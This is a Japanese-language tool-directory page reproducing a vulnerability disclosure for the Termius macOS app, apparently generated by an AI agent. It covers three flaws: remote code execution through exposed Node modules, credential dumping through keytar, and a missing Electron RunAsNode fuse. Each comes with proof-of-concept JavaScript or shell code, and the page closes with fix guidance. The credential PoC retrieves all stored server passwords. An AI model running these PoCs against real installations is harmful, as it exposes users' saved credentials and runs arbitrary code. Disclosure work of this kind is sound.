Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/nicetop1027/cve-2026-termius
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイト論文と研究設定ミス学習と教育
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

TermiusのmacOS向け3つの重大な脆弱性(露出したNodeモジュールを介したリモートコード実行、ローカル権限昇格による認証情報ダンプ、Electronのfuseバイパス)に関するPoC付き脆弱性開示です。修復ガイダンスも含みます。

リポジトリを見る
6ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Termius macOS アプリケーション脆弱性レポート (CVE-2026-Termius)

対象: Termius (macOS) テスト済みバージョン: 最新版 (2026年1月時点) 影響: リモートコード実行 (RCE)、ローカル権限昇格 (LPE)、アプリセキュリティバイパス

🚨 エグゼクティブサマリー

Termius macOS アプリケーションにおいて、攻撃者による以下の行為を可能にする3つの重大な脆弱性が特定されました:

  1. 任意のシステムコマンドの実行 (RCE) — レンダラーに公開された隠しバックドア Symbol 経由。
  2. 保存済みパスワードの全量ダンプ (LPE) — 公開されている keytar ネイティブモジュールの悪用による。
  3. アプリケーションセキュリティの完全なバイパス — 欠落した ELECTRON_RUN_AS_NODE フューズの利用による。

1. 重大: 隠し Symbol によるリモートコード実行 (RCE)

脆弱性の詳細

このアプリケーションは、強力な Node.js モジュール (child_process、fs、electron) をレンダラープロセス (アプリのWebインターフェース部分) に公開しています。これらのモジュールは難読化を目的として window オブジェクト内のグローバル Symbol の背後に隠されていますが、安全には分離されていません。

  • 脆弱なコードパターン:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

エクスプロイト (PoC)

クロスサイトスクリプティング (XSS) を達成した攻撃者は、この公開されたシンボルを使用して即座に RCE へと昇格できます。

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. 重大: ローカル認証情報のダンプ (LPE)

脆弱性の詳細

Termius が macOS キーチェーンとの連携に使用する keytar ネイティブ Node モジュールも、同じ隠しシンボルを介して公開されています。これにより、アプリケーションコンテキスト内で実行される任意のスクリプト (悪意のあるプラグイン、XSS、ローカルプロセスインジェクションなど) が、保存済みの全サーバーの平文パスワードを照会・取得できます。

エクスプロイト (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. 重大: Electron フューズ (RunAsNode) の欠落

脆弱性の詳細

Termius バイナリは ELECTRON_RUN_AS_NODE フューズを無効化していません。これは重大なセキュリティ設定ミスであり、ローカルのあらゆるユーザーが署名済みの Termius バイナリを標準の Node.js 実行ファイルとして実行できるようになります。これにより、アプリケーションロジックに対する macOS コード署名の整合性チェックが完全にバイパスされます。

エクスプロイト (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

推奨される修正措置 (開発者向け)

  1. Electron フューズを無効化する: ビルド時に @electron/fuses を使用して RunAsNode と EnableNodeCliInspectArguments を明示的に無効化します。
  2. グローバルシンボルの公開を排除する: 機密モジュールを window や global にアタッチしないでください。必要な関数のみを公開する制限付き API サーフェスを持つ contextBridge.exposeInMainWorld を使用し、モジュール全体は公開しないようにします。
  3. IPC をサニタイズする: すべてのプロセス間通信 (IPC) が厳密に型付けされ、検証されていることを確認します。

Antigravity Agent によって生成されたレポート

ツールをダウンロード